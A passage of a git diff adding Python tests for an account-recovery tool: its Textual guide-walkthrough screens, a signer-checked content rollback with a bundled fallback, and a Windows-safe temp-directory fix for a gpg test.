[] +human_only_steps: [1] +--- + +## Step 1: Turn on two-factor authentication + +At each provider, in the order the guide lists. +""" + + +def _guides_dir(tmp_path: Path) -> Path: + guides = tmp_path / "guides" / "demo_recovery" + guides.mkdir(parents=True) + (guides / "phase_0.md").write_text(PHASE_0) + (guides / "phase_1.md").write_text(PHASE_1) + # A remediation directory exists in the real tree and is reached from a + # finding, not from this menu; it must not appear as a walkthrough. + remediation = tmp_path / "guides" / "remediation" + remediation.mkdir() + (remediation / "x.md").write_text( + "---\ntitle: Fix a thing\nremediates:\n - a.b.c\n---\n\n## Step 1: Do it\n\nBody.\n" + ) + return tmp_path / "guides" + + +def _store(tmp_path: Path) -> SessionStore: + return SessionStore(session_dir=tmp_path / "sessions") + + +class _Host(App): + def __init__(self, screen_factory): + super().__init__() + self._screen_factory = screen_factory + + def on_mount(self) -> None: + self.push_screen(self._screen_factory()) + + +async def _wait_for_screen(pilot, app, screen_type, attempts=100): + """Wait for a screen transition instead of assuming one message-pump tick. + + Selecting twice in quick succession pushed a screen while the previous + one's Header was still mounting. Textual's Header defers a `set_title` + coroutine that queries its own HeaderTitle child; if the Header is torn + down first, that query raises NoMatches from inside the framework. On a + fast runner the two never overlap, on a loaded Windows runner they do. + """ + for _ in range(attempts): + if isinstance(app.screen, screen_type): + return + await pilot.pause(0.05) + + +def test_discover_guide_sets_skips_remediation(tmp_path): + sets = discover_guide_sets(_guides_dir(tmp_path)) + assert [name for name, _ in sets] == ["demo_recovery"] + assert len(sets[0][1]) == 2 + + +def test_discover_guide_sets_handles_a_missing_directory(tmp_path): + assert discover_guide_sets(tmp_path / "absent") == [] + + +async def test_guide_sets_screen_lists_walkthroughs_with_progress(tmp_path): + guides_dir = _guides_dir(tmp_path) + store = _store(tmp_path) + app = _Host(lambda: GuideSetsScreen(guides_dir, store)) + async with app.run_test() as pilot: + await pilot.pause() + options = app.screen.query_one("#guide-set-list", OptionList) + assert options.option_count == 1 + assert "0/3 steps done" in str(options.get_option_at_index(0).prompt) + + +async def test_guide_sets_screen_reports_no_content(tmp_path): + app = _Host(lambda: GuideSetsScreen(tmp_path / "absent", _store(tmp_path))) + async with app.run_test() as pilot: + await pilot.pause() + assert app.screen.query_one("#guide-empty") + + +async def test_phases_screen_marks_the_current_phase(tmp_path): + guides_dir = _guides_dir(tmp_path) + store = _store(tmp_path) + store.advance_phase("demo_recovery", 1) + guides = discover_guides(guides_dir, "demo_recovery") + app = _Host(lambda: GuidePhasesScreen("demo_recovery", guides, store)) + async with app.run_test() as pilot: + await pilot.pause() + options = app.screen.query_one("#guide-phase-list", OptionList) + assert not str(options.get_option_at_index(0).prompt).startswith("▶") + assert str(options.get_option_at_index(1).prompt).startswith("▶") + + +async def test_steps_screen_labels_automatable_and_human_steps(tmp_path): + guide = parse_guide_markdown(PHASE_0) + app = _Host(lambda: GuideStepsScreen("demo_recovery", guide, _store(tmp_path))) + async with app.run_test() as pilot: + await pilot.pause() + labels = [str(cb.label) for cb in app.screen.query(Checkbox)] + assert any("tool-assisted" in label for label in labels) + assert any("you do this" in label for label in labels) + + +async def test_ticking_a_step_persists_to_the_session_store(tmp_path): + """The CLI reads the same store, so this is also CLI/TUI agreement.""" + guide = parse_guide_markdown(PHASE_0) + store = _store(tmp_path) + app = _Host(lambda: GuideStepsScreen("demo_recovery", guide, store)) + async with app.run_test() as pilot: + await pilot.pause() + app.screen.query_one("#guide-step-1", Checkbox).value = True + await pilot.pause() + + assert store.load("demo_recovery").completed_steps[0] == [1] + + +async def test_unticking_a_step_removes_it_again(tmp_path): + """A step marked done that turned out not to work has to be reversible.""" + guide = parse_guide_markdown(PHASE_0) + store = _store(tmp_path) + store.mark_step_complete("demo_recovery", 0, 1) + app = _Host(lambda: GuideStepsScreen("demo_recovery", guide, store)) + async with app.run_test() as pilot: + await pilot.pause() + checkbox = app.screen.query_one("#guide-step-1", Checkbox) + assert checkbox.value is True + checkbox.value = False + await pilot.pause() + + assert store.load("demo_recovery").completed_steps[0] == [] + + +async def test_completing_every_step_advances_the_phase(tmp_path): + guide = parse_guide_markdown(PHASE_0) + store = _store(tmp_path) + app = _Host(lambda: GuideStepsScreen("demo_recovery", guide, store)) + async with app.run_test() as pilot: + await pilot.pause() + app.screen.query_one("#guide-step-1", Checkbox).value = True + await pilot.pause() + assert store.load("demo_recovery").current_phase == 0 + app.screen.query_one("#guide-step-2", Checkbox).value = True + await pilot.pause() + + assert store.load("demo_recovery").current_phase == 1 + + +async def test_saved_progress_is_shown_when_the_screen_reopens(tmp_path): + guide = parse_guide_markdown(PHASE_0) + store = _store(tmp_path) + store.mark_step_complete("demo_recovery", 0, 2) + app = _Host(lambda: GuideStepsScreen("demo_recovery", guide, store)) + async with app.run_test() as pilot: + await pilot.pause() + assert app.screen.query_one("#guide-step-1", Checkbox).value is False + assert app.screen.query_one("#guide-step-2", Checkbox).value is True + + +async def test_step_detail_screen_renders_the_step_body(tmp_path): + guide = parse_guide_markdown(PHASE_0) + step = guide.steps[1] + app = _Host(lambda: GuideStepDetailScreen(step)) + async with app.run_test() as pilot: + await pilot.pause() + body = app.screen.query_one("#guide-step-detail-body", Markdown) + assert "Change your email password" in body.source + assert "cannot do it for you" in body.source + + +async def test_selecting_a_set_opens_its_phases(tmp_path): + guides_dir = _guides_dir(tmp_path) + store = _store(tmp_path) + app = _Host(lambda: GuideSetsScreen(guides_dir, store)) + async with app.run_test() as pilot: + await pilot.pause() + app.screen.query_one("#guide-set-list", OptionList).action_select() + await _wait_for_screen(pilot, app, GuidePhasesScreen) + assert isinstance(app.screen, GuidePhasesScreen) + + phase_list = app.screen.query_one("#guide-phase-list", OptionList) + phase_list.highlighted = 0 + phase_list.action_select() + await _wait_for_screen(pilot, app, GuideStepsScreen) + assert isinstance(app.screen, GuideStepsScreen) diff --git a/tests/update/test_rollback.py b/tests/update/test_rollback.py new file mode 100644 index 0000000..15f0a77 --- /dev/null +++ b/tests/update/test_rollback.py @@ -0,0 +1,200 @@ +"""Tests for one-step content rollback and the bundled-content fallback (P0#2). + +The roadmap listed rollback as remaining: recovery was "via git history", which +is not a recovery path for the person this tool is for. These cover both the +happy path and the case that matters more — a previous version that is no +longer trusted must not be silently restored. +""" + +from unittest.mock import MagicMock, patch + +from rescue.update.config import ContentRepoConfig +from rescue.update.engine import UpdateEngine +from rescue.update.repo import ContentRepo +from rescue.update.verify import ApprovalResult +from rescue.security.signers import TrustedSigner, TrustedSignerSet + + +def _config(tmp_path): + return ContentRepoConfig( + remote_url="https://example.com/content.git", + local_path=tmp_path / "content", + trusted_signers_path=tmp_path / "trusted_signers.json", + revoked_signers_path=tmp_path / "revoked_signers.json", + required_approvals=2, + ) + + +def _trusted(): + return TrustedSignerSet(signers=[ + TrustedSigner(signer_id="maintainer-a", key_id="AAAA"), + TrustedSigner(signer_id="maintainer-b", key_id="BBBB"), + ]) + + +def _engine(tmp_path, repo): + return UpdateEngine(_config(tmp_path), repo=repo, trusted_signers=_trusted()) + + +def _approved(): + return ApprovalResult(approved=True, approving_signer_ids=["maintainer-a", "maintainer-b"]) + + +def _rejected(reason="signer revoked"): + return ApprovalResult(approved=False, approving_signer_ids=[], reason=reason) + + +# --- ContentRepo marker behaviour ------------------------------------------- + + +def _repo_with_git(tmp_path) -> ContentRepo: + repo = ContentRepo(tmp_path / "content", "https://example.com/content.git") + (repo.local_path / ".git").mkdir(parents=True) + return repo + + +def test_checkout_records_the_commit_it_replaced(tmp_path): + repo = _repo_with_git(tmp_path) + with patch.object(ContentRepo, "_run_git") as run_git: + run_git.return_value = MagicMock(stdout="old111\n") + repo.checkout("old111") + run_git.return_value = MagicMock(stdout="new222\n") + repo.checkout("new222") + + assert repo.current_commit() == "new222" + assert repo.previous_applied_commit() == "old111" + + +def test_first_checkout_records_no_previous_version(tmp_path): + repo = _repo_with_git(tmp_path) + with patch.object(ContentRepo, "_run_git") as run_git: + run_git.return_value = MagicMock(stdout="first1\n") + repo.checkout("first1") + + assert repo.previous_applied_commit() is None + + +def test_reapplying_the_same_commit_does_not_lose_the_previous_version(tmp_path): + """Otherwise a no-op re-apply erases the only record of what was working.""" + repo = _repo_with_git(tmp_path) + with patch.object(ContentRepo, "_run_git") as run_git: + run_git.return_value = MagicMock(stdout="old111\n") + repo.checkout("old111") + run_git.return_value = MagicMock(stdout="new222\n") + repo.checkout("new222") + repo.checkout("new222") + + assert repo.previous_applied_commit() == "old111" + + +def test_clearing_the_applied_marker_deactivates_content(tmp_path): + repo = _repo_with_git(tmp_path) + with patch.object(ContentRepo, "_run_git") as run_git: + run_git.return_value = MagicMock(stdout="abc123\n") + repo.checkout("abc123") + + repo.clear_applied_marker() + assert repo.current_commit() is None + # Deactivated, not deleted: the previous-version record survives. + repo.clear_applied_marker() # idempotent + + +# --- UpdateEngine.rollback --------------------------------------------------- + + +def test_rollback_returns_to_the_previous_version(tmp_path): + repo = MagicMock() + repo.current_commit.return_value = "new222" + repo.previous_applied_commit.return_value = "old111" + engine = _engine(tmp_path, repo) + + with patch("rescue.update.engine.verify_commit_approval", return_value=_approved()), \ + patch.object(UpdateEngine, "_validate_content_commit"), \ + patch.object(UpdateEngine, "_peek_content_version", return_value="2026.07.01"): + result = engine.rollback() + + assert result.status == "rolled_back" + assert result.new_commit == "old111" + repo.checkout.assert_called_once_with("old111") + + +def test_rollback_dry_run_changes_nothing(tmp_path): + repo = MagicMock() + repo.current_commit.return_value = "new222" + repo.previous_applied_commit.return_value = "old111" + engine = _engine(tmp_path, repo) + + with patch("rescue.update.engine.verify_commit_approval", return_value=_approved()), \ + patch.object(UpdateEngine, "_peek_content_version", return_value=None): + result = engine.rollback(dry_run=True) + + assert result.status == "dry_run" + repo.checkout.assert_not_called() + + +def test_rollback_with_no_previous_version_says_so(tmp_path): + repo = MagicMock() + repo.current_commit.return_value = "only1" + repo.previous_applied_commit.return_value = None + engine = _engine(tmp_path, repo) + + result = engine.rollback() + + assert result.status == "no_previous_version" + assert "--use-bundled" in result.message + repo.checkout.assert_not_called() + + +def test_rollback_refuses_a_previous_version_that_is_no_longer_approved(tmp_path): + """Revocation has to apply to content already on the machine, or it is not + revocation — it is a note about future downloads.""" + repo = MagicMock() + repo.current_commit.return_value = "new222" + repo.previous_applied_commit.return_value = "old111" + engine = _engine(tmp_path, repo) + + with patch("rescue.update.engine.verify_commit_approval", return_value=_rejected()): + result = engine.rollback() + + assert result.status == "pending_approval" + assert "--use-bundled" in result.message + repo.checkout.assert_not_called() + + +def test_rollback_validates_the_content_commit_before_checking_it_out(tmp_path): + repo = MagicMock() + repo.current_commit.return_value = "new222" + repo.previous_applied_commit.return_value = "old111" + engine = _engine(tmp_path, repo) + + with patch("rescue.update.engine.verify_commit_approval", return_value=_approved()), \ + patch.object(UpdateEngine, "_validate_content_commit") as validate, \ + patch.object(UpdateEngine, "_peek_content_version", return_value=None): + engine.rollback() + + validate.assert_called_once_with("old111") + + +def test_use_bundled_content_clears_the_marker_without_deleting(tmp_path): + repo = MagicMock() + repo.current_commit.return_value = "new222" + engine = _engine(tmp_path, repo) + + result = engine.use_bundled_content() + + assert result.status == "using_bundled" + repo.clear_applied_marker.assert_called_once() + assert "Nothing was deleted" in result.message + + +def test_use_bundled_content_needs_no_signature_check(tmp_path): + """The last-resort path must not depend on the trust machinery that may be + the very thing that has gone wrong.""" + repo = MagicMock() + repo.current_commit.return_value = "new222" + engine = _engine(tmp_path, repo) + + with patch("rescue.update.engine.verify_commit_approval") as verify: + engine.use_bundled_content() + + verify.assert_not_called() diff --git a/tests/update/test_verify.py b/tests/update/test_verify.py index f84c6c3..56300cd 100644 --- a/tests/update/test_verify.py +++ b/tests/update/test_verify.py @@ -192,11 +192,14 @@ def test_verification_succeeds_without_the_signing_key_in_the_ambient_keyring( simulating exactly what a real end user's machine looks like.""" from rescue.update.repo import ContentRepo - # Short paths are required here: gpg-agent's control socket has a - # small max path length that tmp_path's nested pytest directories can - # exceed on some platforms. - signing_gnupghome = tempfile.mkdtemp(prefix="mdr-gpg-", dir="/tmp") - empty_ambient_gnupghome = tempfile.mkdtemp(prefix="mdr-gpg-empty-", dir="/tmp") + # Short paths are required here: gpg-agent's control socket is a unix + # socket with a small max path length, which tmp_path's nested pytest + # directories can exceed. `dir` was hardcoded to "/tmp", which does not + # exist on Windows — the test raised FileNotFoundError there instead of + # running or skipping. + short_tmp = tempfile.gettempdir() + signing_gnupghome = tempfile.mkdtemp(prefix="mdr-gpg-", dir=short_tmp) + empty_ambient_gnupghome = tempfile.mkdtemp(prefix="mdr-gpg-empty-", dir=short_tmp) try: params_file = Path(signing_gnupghome) / "params.txt" params_file.write_text(